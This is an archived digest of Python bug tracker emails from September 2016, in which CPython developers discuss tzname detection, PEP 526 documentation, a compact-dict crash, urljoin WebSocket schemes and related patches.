<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:16:40 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 20:16:40 +0000
Subject: [issue28109] What's new item for PEP 526 -- Variable annotations
In-Reply-To: <1473710424.07.0.410665624445.issue28109@psf.upfronthosting.co.za>
Message-ID: <1473711400.56.0.280859459759.issue28109@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28109>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:20:33 2016
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Mon, 12 Sep 2016 20:20:33 +0000
Subject: [issue28108] Python configure fails to detect tzname on platforms
 that have it.
In-Reply-To: <1473708835.14.0.84620259167.issue28108@psf.upfronthosting.co.za>
Message-ID: <1473711633.64.0.604096887012.issue28108@psf.upfronthosting.co.za>


Marc-Andre Lemburg added the comment:

Looking at the autoconf documentation, HAVE_TZNAME is only set iff struct tm does not have a tm_zone member *and* the external array tzname is found:

https://www.gnu.org/software/autoconf/manual/autoconf-2.64/html_node/Particular-Structures.html

If the struct tm does have a tm_zone member (which it does on Linux), the check for tzname is not even run.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28108>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:24:22 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 12 Sep 2016 20:24:22 +0000
Subject: [issue28108] Python configure fails to detect tzname on platforms
 that have it.
In-Reply-To: <1473708835.14.0.84620259167.issue28108@psf.upfronthosting.co.za>
Message-ID: <1473711862.35.0.813215266539.issue28108@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

> HAVE_TZNAME is only set iff struct tm does not have a tm_zone member ...

I've figured that much from reading the generated configure script, but thanks for the pointer to the documentation.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28108>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:37:34 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 12 Sep 2016 20:37:34 +0000
Subject: [issue28110] py launcher has different product codes between 32 and
 64-bit
Message-ID: <1473712654.55.0.666881754896.issue28110@psf.upfronthosting.co.za>


New submission from Steve Dower:

The launcher.msi file that is part of 3.6.0b1 is different between the 32-bit and 64-bit release - specifically, a different product code.

This means that when you install one followed by the other, it will insist on updating the launcher even though the are the same. This may cause unnecessary UAC prompts.

Other than this, there aren't any ill effects. But they're supposed to be using the same product code, so I need to investigate why they are different.

----------
assignee: steve.dower
components: Windows
messages: 276113
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: py launcher has different product codes between 32 and 64-bit
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28110>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:37:52 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 12 Sep 2016 20:37:52 +0000
Subject: [issue28110] launcher.msi has different product codes between 32 and
 64-bit
In-Reply-To: <1473712654.55.0.666881754896.issue28110@psf.upfronthosting.co.za>
Message-ID: <1473712672.12.0.295152621904.issue28110@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
title: py launcher has different product codes between 32 and 64-bit -> launcher.msi has different product codes between 32 and 64-bit

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28110>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:43:08 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Mon, 12 Sep 2016 20:43:08 +0000
Subject: [issue28109] What's new item for PEP 526 -- Variable annotations
In-Reply-To: <1473710424.07.0.410665624445.issue28109@psf.upfronthosting.co.za>
Message-ID: <1473712988.92.0.224963335089.issue28109@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Updated patch

----------
Added file: http://bugs.python.org/file44603/whats-new-pep-526-v2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28109>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:50:17 2016
From: report at bugs.python.org (Eric Snow)
Date: Mon, 12 Sep 2016 20:50:17 +0000
Subject: [issue28007] Bad .pyc files prevent import of otherwise valid .py
 files.
In-Reply-To: <1473277778.4.0.402834578842.issue28007@psf.upfronthosting.co.za>
Message-ID: <1473713417.9.0.368616194182.issue28007@psf.upfronthosting.co.za>


Changes by Eric Snow <ericsnowcurrently at gmail.com>:


Added file: http://bugs.python.org/file44604/issue28007.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28007>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:50:26 2016
From: report at bugs.python.org (Stefan Krah)
Date: Mon, 12 Sep 2016 20:50:26 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473713426.15.0.691970683922.issue28040@psf.upfronthosting.co.za>


Stefan Krah added the comment:

If Victor can't reply now (it's getting late in Europe), I'd just release.  Pretend that I set it to deferred blocker. :)

----------
priority: release blocker -> deferred blocker

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:50:28 2016
From: report at bugs.python.org (Eric Snow)
Date: Mon, 12 Sep 2016 20:50:28 +0000
Subject: [issue28007] Bad .pyc files prevent import of otherwise valid .py
 files.
In-Reply-To: <1473277778.4.0.402834578842.issue28007@psf.upfronthosting.co.za>
Message-ID: <1473713428.54.0.0757172600175.issue28007@psf.upfronthosting.co.za>


Changes by Eric Snow <ericsnowcurrently at gmail.com>:


Removed file: http://bugs.python.org/file44601/issue28007.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28007>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:52:25 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 20:52:25 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473713545.35.0.647406400783.issue28040@psf.upfronthosting.co.za>


Ned Deily added the comment:

Yes, he's had a *long* day.  I'll take your advice, Stefan.  Thanks.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:55:14 2016
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Mon, 12 Sep 2016 20:55:14 +0000
Subject: [issue28108] Python configure fails to detect tzname on platforms
 that have it.
In-Reply-To: <1473711862.35.0.813215266539.issue28108@psf.upfronthosting.co.za>
Message-ID: <57D7162E.1090200@egenix.com>


Marc-Andre Lemburg added the comment:

If you want to separately check for the definition of tzname,
I guess you have to add a AC_DEFINE() section specifically
for tzname.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28108>
_______________________________________

From report at bugs.python.org  Mon Sep 12 17:01:21 2016
From: report at bugs.python.org (Brett Cannon)
Date: Mon, 12 Sep 2016 21:01:21 +0000
Subject: [issue26182] Deprecation warnings for the future async and await
 keywords in Python 3.6
In-Reply-To: <1453489566.62.0.462459552998.issue26182@psf.upfronthosting.co.za>
Message-ID: <1473714081.56.0.101465510458.issue26182@psf.upfronthosting.co.za>


Brett Cannon added the comment:

I'm fine with it being in b2 because IMO the warning really should make it in 3.6 and for stuff like this it's more critical to hit the RC for people's testing than the beta to work out semantic changes.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26182>
_______________________________________

From report at bugs.python.org  Mon Sep 12 17:03:19 2016
From: report at bugs.python.org (Brett Cannon)
Date: Mon, 12 Sep 2016 21:03:19 +0000
Subject: [issue28007] Bad .pyc files prevent import of otherwise valid .py
 files.
In-Reply-To: <1473277778.4.0.402834578842.issue28007@psf.upfronthosting.co.za>
Message-ID: <1473714199.56.0.754690990518.issue28007@psf.upfronthosting.co.za>


Brett Cannon added the comment:

I don't think we should try and squeeze this in for 3.6 since we have now hit beta and this is a feature since this is changing semantics that date back to Python 2. I'm going to go ahead and change the target to 3.7.

----------
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28007>
_______________________________________

From report at bugs.python.org  Mon Sep 12 17:03:59 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 21:03:59 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <CAMpsgwZJ3PncqkZ3bM_o4r9+K5E5GyaihkOVCoKKsocJZszqLg@mail.gmail.com>
Message-ID: <CAMpsgwawcB=QRkom4ze7EPVL85V8s1d24yfpSgwCc+gF_oXF6A@mail.gmail.com>


STINNER Victor added the comment:

I didn't see any segfault on the Python test suite on buildbots. It's
either a bug in Blaze (Python C API change like METH_CALL) or a real bug in
CPython. It's a beta, we can fix bugs later :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Mon Sep 12 17:04:00 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 12 Sep 2016 21:04:00 +0000
Subject: [issue28108] Python configure fails to detect tzname on platforms
 that have it.
In-Reply-To: <1473708835.14.0.84620259167.issue28108@psf.upfronthosting.co.za>
Message-ID: <1473714240.7.0.71307037614.issue28108@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

The real issue is that when setting the tzname tuple in the time module, we use a guess based on the value of tm_zone probed in June and January.  I am not sure whether this is wise.  Shouldn't we just use C tzname is it is available?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28108>
_______________________________________

From report at bugs.python.org  Mon Sep 12 17:16:01 2016
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Mon, 12 Sep 2016 21:16:01 +0000
Subject: [issue28108] Python configure fails to detect tzname on platforms
 that have it.
In-Reply-To: <1473714240.7.0.71307037614.issue28108@psf.upfronthosting.co.za>
Message-ID: <57D71B0D.7040002@egenix.com>


Marc-Andre Lemburg added the comment:

> The real issue is that when setting the tzname tuple in the time module, we use a guess based on the value of tm_zone probed in June and January.  I am not sure whether this is wise.  Shouldn't we just use C tzname is it is available?

I don't think tzname is really all that useful. In mxDateTime,
I use strftime() with "%Z" to obtain the timezone string for
a given local time.

tzname tries to identify non-DST vs. DST of the local time zone,
but this may fail for cases where a country switches DST settings
in a particular year as it happened in Russia:

https://www.timeanddate.com/time/zone/russia/moscow

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28108>
_______________________________________

From report at bugs.python.org  Mon Sep 12 17:31:58 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 12 Sep 2016 21:31:58 +0000
Subject: [issue28108] Python configure fails to detect tzname on platforms
 that have it.
In-Reply-To: <1473708835.14.0.84620259167.issue28108@psf.upfronthosting.co.za>
Message-ID: <1473715918.32.0.513950864316.issue28108@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

> I don't think tzname is really all that useful.

I agree. More so after issue 25283 (Make tm_gmtoff and tm_zone available on all platforms).  That's why I don't see why the time module need to set tzname to anything other than what the C library does.

Interestingly, glibc may even change tzname[0] as a side-effect of calling  localtime:

(on Linux)
$ cat lt.c
#include <time.h>
#include <stdio.h>


int main() {
  struct tm tm = {0, 0, 0, 1, 1, -100};
  time_t t;
  t = mktime(&tm);
  localtime(&t);
  printf("%s/%s  %d %d\n", tzname[0], tzname[1], timezone, daylight);
  t = 0;
  localtime(&t);
  printf("%s/%s  %d %d\n", tzname[0], tzname[1], timezone, daylight);
}

$ gcc lt.c -o lt
$ ./lt
LMT/EDT  18000 1
EST/EDT  18000 1

I think that's a bug in glibc because it makes no sense to change tzname[0] while not updating timezone.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28108>
_______________________________________

From report at bugs.python.org  Mon Sep 12 17:34:51 2016
From: report at bugs.python.org (Eric Snow)
Date: Mon, 12 Sep 2016 21:34:51 +0000
Subject: [issue28007] Bad .pyc files prevent import of otherwise valid .py
 files.
In-Reply-To: <1473277778.4.0.402834578842.issue28007@psf.upfronthosting.co.za>
Message-ID: <1473716091.76.0.727297218239.issue28007@psf.upfronthosting.co.za>


Eric Snow added the comment:

I was going to ask Ned, but I'm fine with holding off until 3.7. :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28007>
_______________________________________

From report at bugs.python.org  Mon Sep 12 17:36:43 2016
From: report at bugs.python.org (ppperry)
Date: Mon, 12 Sep 2016 21:36:43 +0000
Subject: [issue6858] IDLE: allow syntax highlighting of files without .py
 extension
In-Reply-To: <1252364873.43.0.809885579905.issue6858@psf.upfronthosting.co.za>
Message-ID: <1473716203.12.0.473735863438.issue6858@psf.upfronthosting.co.za>


Changes by ppperry <mapreader at olum.org>:


----------
title: This is a python file, apply syntax highlighting -> IDLE: allow syntax highlighting of files without .py extension

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6858>
_______________________________________

From report at bugs.python.org  Mon Sep 12 17:40:30 2016
From: report at bugs.python.org (Stefan Krah)
Date: Mon, 12 Sep 2016 21:40:30 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473716430.09.0.109215212627.issue28040@psf.upfronthosting.co.za>


Stefan Krah added the comment:

It could still be a stack overflow, but on the surface it does
not look like one. It's definitely related to the aforementioned
revision:

==3442== Invalid read of size 8
==3442==    at 0x49DBD8: _PyDict_Pop (dictobject.c:1743)
==3442==    by 0x4A0BE2: dict_pop (dictobject.c:2732)
==3442==    by 0x4AA5F8: _PyCFunction_FastCallDict (methodobject.c:229)
==3442==    by 0x4AA70B: _PyCFunction_FastCallKeywords (methodobject.c:267)
==3442==    by 0x55FE63: call_function (ceval.c:4794)
==3442==    by 0x55AA82: _PyEval_EvalFrameDefault (ceval.c:3267)
==3442==    by 0x54D9CC: PyEval_EvalFrameEx (ceval.c:718)
==3442==    by 0x560123: _PyFunction_FastCall (ceval.c:4876)
==3442==    by 0x56023B: fast_function (ceval.c:4906)
==3442==    by 0x55FF91: call_function (ceval.c:4815)
==3442==    by 0x55AA82: _PyEval_EvalFrameDefault (ceval.c:3267)
==3442==    by 0x54D9CC: PyEval_EvalFrameEx (ceval.c:718)
==3442==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
==3442== 
==3442== 
==3442== Process terminating with default action of signal 11 (SIGSEGV)
==3442==  Access not within mapped region at address 0x0
==3442==    at 0x49DBD8: _PyDict_Pop (dictobject.c:1743)
==3442==    by 0x4A0BE2: dict_pop (dictobject.c:2732)
==3442==    by 0x4AA5F8: _PyCFunction_FastCallDict (methodobject.c:229)
==3442==    by 0x4AA70B: _PyCFunction_FastCallKeywords (methodobject.c:267)
==3442==    by 0x55FE63: call_function (ceval.c:4794)
==3442==    by 0x55AA82: _PyEval_EvalFrameDefault (ceval.c:3267)
==3442==    by 0x54D9CC: PyEval_EvalFrameEx (ceval.c:718)
==3442==    by 0x560123: _PyFunction_FastCall (ceval.c:4876)
==3442==    by 0x56023B: fast_function (ceval.c:4906)
==3442==    by 0x55FF91: call_function (ceval.c:4815)
==3442==    by 0x55AA82: _PyEval_EvalFrameDefault (ceval.c:3267)
==3442==    by 0x54D9CC: PyEval_EvalFrameEx (ceval.c:718)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Mon Sep 12 18:15:21 2016
From: report at bugs.python.org (Robert Collins)
Date: Mon, 12 Sep 2016 22:15:21 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <1473718521.6.0.187575764315.issue25895@psf.upfronthosting.co.za>


Robert Collins added the comment:

It is a bugfix, but we should document when it started working using the version added segment IMO. I think addding this to 3.6 now would be ok.

----------
nosy: +rbcollins

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Mon Sep 12 18:20:00 2016
From: report at bugs.python.org (Eric Snow)
Date: Mon, 12 Sep 2016 22:20:00 +0000
Subject: [issue16384] import.c doesn't handle EOFError from PyMarshal_Read*
In-Reply-To: <1351796179.35.0.165892579115.issue16384@psf.upfronthosting.co.za>
Message-ID: <1473718800.17.0.0386597568987.issue16384@psf.upfronthosting.co.za>


Eric Snow added the comment:

With issue #28007 wrapped up, there isn't a lot left to do here.  I was considering that we don't want to abort when we have problems loading a codec during startup.  However, Steve Dower made the point to me that a problem with the main codec during startup should be fatal.  Consequently I'm closing this bug.

----------
resolution:  -> duplicate
stage: patch review -> resolved
status: open -> closed
superseder:  -> Bad .pyc files prevent import of otherwise valid .py files.

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16384>
_______________________________________

From report at bugs.python.org  Mon Sep 12 18:21:49 2016
From: report at bugs.python.org (Tim Mitchell)
Date: Mon, 12 Sep 2016 22:21:49 +0000
Subject: [issue27946] issues in elementtree and elsewhere due to PyDict_GetItem
In-Reply-To: <1472852881.19.0.987799736928.issue27946@psf.upfronthosting.co.za>
Message-ID: <1473718909.49.0.959521924523.issue27946@psf.upfronthosting.co.za>


Tim Mitchell added the comment:

Verified problem.  Added patch to keep reference to dict in PyDict_GetItem.

----------
keywords: +patch
nosy: +Tim Mitchell
Added file: http://bugs.python.org/file44605/0001-issue27946-Hold-reference-to-dict-in-PyDict_GetItem.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27946>
_______________________________________

From report at bugs.python.org  Mon Sep 12 18:23:51 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Mon, 12 Sep 2016 22:23:51 +0000
Subject: [issue28109] What's new item for PEP 526 -- Variable annotations
In-Reply-To: <1473710424.07.0.410665624445.issue28109@psf.upfronthosting.co.za>
Message-ID: <1473719031.63.0.747829523132.issue28109@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Second update, implemented comments by Yury an Guido.

----------
Added file: http://bugs.python.org/file44606/whats-new-pep-526-v3.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28109>
_______________________________________

From report at bugs.python.org  Mon Sep 12 18:25:16 2016
From: report at bugs.python.org (Markus Holtermann)
Date: Mon, 12 Sep 2016 22:25:16 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <1473719116.37.0.735011490227.issue25895@psf.upfronthosting.co.za>


Markus Holtermann added the comment:

As discussed with rbcollins during the KiwiPyCon sprints, I'll add patches for 3.5, 3.6 and master with docs mentioning the addition of `ws` and `wss`  as of 3.5.3

----------
nosy: +MarkusH

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Mon Sep 12 18:41:49 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Mon, 12 Sep 2016 22:41:49 +0000
Subject: [issue28109] What's new item for PEP 526 -- Variable annotations
In-Reply-To: <1473710424.07.0.410665624445.issue28109@psf.upfronthosting.co.za>
Message-ID: <1473720109.32.0.431154420888.issue28109@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Patch LGTM.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28109>
_______________________________________

From report at bugs.python.org  Mon Sep 12 18:56:58 2016
From: report at bugs.python.org (Robert Collins)
Date: Mon, 12 Sep 2016 22:56:58 +0000
Subject: [issue26240] Docstring of the subprocess module should be cleaned up
In-Reply-To: <1454131083.41.0.870668221205.issue26240@psf.upfronthosting.co.za>
Message-ID: <1473721018.62.0.285530323743.issue26240@psf.upfronthosting.co.za>


Changes by Robert Collins <robertc at robertcollins.net>:


----------
nosy: +rbcollins

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26240>
_______________________________________

From report at bugs.python.org  Mon Sep 12 19:03:35 2016
From: report at bugs.python.org (Thomi Richards)
Date: Mon, 12 Sep 2016 23:03:35 +0000
Subject: [issue17188] Document 'from None' in raise statement doc.
In-Reply-To: <1360631999.8.0.76627095073.issue17188@psf.upfronthosting.co.za>
Message-ID: <1473721415.81.0.975920524821.issue17188@psf.upfronthosting.co.za>


Thomi Richards added the comment:

I have attached a patch for 3.4, based on the patch submitted by Nitika Agarwal. The main difference is that I think it's better to be explicit and show a separate example of `raise X from None`.

I will submit a patch for later versions as well.

----------
nosy: +thomir
Added file: http://bugs.python.org/file44607/issue17188_3.4.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17188>
_______________________________________

From report at bugs.python.org  Mon Sep 12 19:04:05 2016
From: report at bugs.python.org (Markus Holtermann)
Date: Mon, 12 Sep 2016 23:04:05 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <1473721445.95.0.389011357916.issue25895@psf.upfronthosting.co.za>


Changes by Markus Holtermann <info at markusholtermann.eu>:


Added file: http://bugs.python.org/file44608/0001-Enable-WebSocket-URL-schemes-in-urllib.parse.urljoin.3.5.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Mon Sep 12 19:04:21 2016
From: report at bugs.python.org (Markus Holtermann)
Date: Mon, 12 Sep 2016 23:04:21 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <1473721461.46.0.439400334057.issue25895@psf.upfronthosting.co.za>


Changes by Markus Holtermann <info at markusholtermann.eu>:


Added file: http://bugs.python.org/file44609/0001-Enable-WebSocket-URL-schemes-in-urllib.parse.urljoin.3.6.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Mon Sep 12 19:04:40 2016
From: report at bugs.python.org (Markus Holtermann)
Date: Mon, 12 Sep 2016 23:04:40 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <1473721480.18.0.692014575011.issue25895@psf.upfronthosting.co.za>


Changes by Markus Holtermann <info at markusholtermann.eu>:


Added file: http://bugs.python.org/file44610/0001-Enable-WebSocket-URL-schemes-in-urllib.parse.urljoin.master.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Mon Sep 12 19:07:19 2016
From: report at bugs.python.org (Thomi Richards)
Date: Mon, 12 Sep 2016 23:07:19 +0000
Subject: [issue17188] Document 'from None' in raise statement doc.
In-Reply-To: <1360631999.8.0.76627095073.issue17188@psf.upfronthosting.co.za>
Message-ID: <1473721639.65.0.473502776447.issue17188@psf.upfronthosting.co.za>


Thomi Richards added the comment:

OK, it seems that patch applies cleanly to 3.5 and 3.6.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17188>
_______________________________________

From report at bugs.python.org  Mon Sep 12 19:28:56 2016
From: report at bugs.python.org (Robert Collins)
Date: Mon, 12 Sep 2016 23:28:56 +0000
Subject: [issue20140] UnicodeDecodeError in ntpath.py when home dir contains
 non-ascii signs
In-Reply-To: <1389005031.99.0.692658963376.issue20140@psf.upfronthosting.co.za>
Message-ID: <1473722936.47.0.0654204582231.issue20140@psf.upfronthosting.co.za>


Robert Collins added the comment:

Given two (or more) parameters where one is unicode and one is not, upcasting will occur multiples times in path.join on windows: 
 - '\\' is str and will cast up safely in all codecs
 - the other str (or bytes) parameter will be upcast using sys.defaultencoding which is often / usually ASCII on Windows

This will then fail when the str parameter is not valid ASCII.

>From this we can conclude that this is a failure to use path.join correctly: if all the parameters passed in were unicode, no error would occur as only '\\' would be getting coerced to unicode.

The interesting question is why there was a str parameter that wasn't valid ASCII; and that lies with path.expanduser() which is returning a str for the non-ascii home directory.

Changing that to return unicode rather than a no-encoding specified str when HOME or HOMEPATH etc etc contain non-ascii characters is a change that would worry me - specifically that we'd encounter code that assumes it is always str, e.g. by calling path.join(expanduser('~fred'), '\xe1\xbd\x84D') which will then blow up.

Worth noting too is that 

 expanduser(u'~user/\u14ffd')

will also blow up in the same way in the same situation - as it ends up decoding the user home path when it concatenates userhome and path[i:].

So, what to do:
 - It might be worth testing a patch that changes expanduser to decode the environment variables - I'm not sure whether we'd want the filesystemencoding or the defaultencoding for handling these environment variables. Steve Dower probably knows :).
 - Or we say 'sorry, too hard in 2.7' and move on: join *itself* is fine here, given the limits of 2.7.

----------
nosy: +rbcollins, steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20140>
_______________________________________

From report at bugs.python.org  Mon Sep 12 19:44:53 2016
From: report at bugs.python.org (Duane Griffin)
Date: Mon, 12 Sep 2016 23:44:53 +0000
Subject: [issue28024] fileinput causes RecursionErrors when dealing with large
 numbers of empty files
In-Reply-To: <1473355858.84.0.568910918601.issue28024@psf.upfronthosting.co.za>
Message-ID: <1473723893.35.0.53044932372.issue28024@psf.upfronthosting.co.za>


Duane Griffin added the comment:

This was fixed in 2.7, 3.5 and head when #15068 was fixed.

----------
nosy: +duaneg, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28024>
_______________________________________

From report at bugs.python.org  Mon Sep 12 20:00:55 2016
From: report at bugs.python.org (Tim Mitchell)
Date: Tue, 13 Sep 2016 00:00:55 +0000
Subject: [issue27946] issues in elementtree and elsewhere due to PyDict_GetItem
In-Reply-To: <1472852881.19.0.987799736928.issue27946@psf.upfronthosting.co.za>
Message-ID: <1473724855.09.0.589012011484.issue27946@psf.upfronthosting.co.za>


Tim Mitchell added the comment:

see also similar dict issue 27945

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27946>
_______________________________________

From report at bugs.python.org  Mon Sep 12 20:03:19 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 13 Sep 2016 00:03:19 +0000
Subject: [issue28024] fileinput causes RecursionErrors when dealing with large
 numbers of empty files
In-Reply-To: <1473355858.84.0.568910918601.issue28024@psf.upfronthosting.co.za>
Message-ID: <1473724999.0.0.406706281498.issue28024@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28024>
_______________________________________

From report at bugs.python.org  Mon Sep 12 20:06:03 2016
From: report at bugs.python.org (Tim Mitchell)
Date: Tue, 13 Sep 2016 00:06:03 +0000
Subject: [issue27946] issues in elementtree and elsewhere due to PyDict_GetItem
In-Reply-To: <1472852881.19.0.987799736928.issue27946@psf.upfronthosting.co.za>
Message-ID: <1473725163.31.0.174555983656.issue27946@psf.upfronthosting.co.za>


Tim Mitchell added the comment:

see also similar dict issue 27945

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27946>
_______________________________________

From report at bugs.python.org  Mon Sep 12 20:06:11 2016
From: report at bugs.python.org (Josh Rosenberg)
Date: Tue, 13 Sep 2016 00:06:11 +0000
Subject: [issue28024] fileinput causes RecursionErrors when dealing with large
 numbers of empty files
In-Reply-To: <1473355858.84.0.568910918601.issue28024@psf.upfronthosting.co.za>
Message-ID: <1473725171.68.0.334198129798.issue28024@psf.upfronthosting.co.za>


Josh Rosenberg added the comment:

Ah. System I was working on when I checked this didn't have latest micro release. Guess I can recheck when it gets updated.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28024>
_______________________________________

From report at bugs.python.org  Mon Sep 12 20:08:12 2016
From: report at bugs.python.org (Robert Collins)
Date: Tue, 13 Sep 2016 00:08:12 +0000
Subject: [issue27946] issues in elementtree and elsewhere due to PyDict_GetItem
In-Reply-To: <1472852881.19.0.987799736928.issue27946@psf.upfronthosting.co.za>
Message-ID: <1473725286.64.0.277680164907.issue27946@psf.upfronthosting.co.za>


Robert Collins added the comment:

Please add the reproducer as a test case (in test_dict.py I think) - even though it needs elementree to trigger it is a dict bug :).

I also wonder if there are similar cases lying under other C collections like list, tuple and set. E.g. list.find() calls obj.__eq__, and so on.

----------
nosy: +rbcollins

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27946>
_______________________________________

From report at bugs.python.org  Mon Sep 12 20:12:44 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 13 Sep 2016 00:12:44 +0000
Subject: [issue28024] fileinput causes RecursionErrors when dealing with large
 numbers of empty files
In-Reply-To: <1473355858.84.0.568910918601.issue28024@psf.upfronthosting.co.za>
Message-ID: <1473725564.33.0.651620023845.issue28024@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28024>
_______________________________________

From report at bugs.python.org  Mon Sep 12 20:15:54 2016
From: report at bugs.python.org (Tim Mitchell)
Date: Tue, 13 Sep 2016 00:15:54 +0000
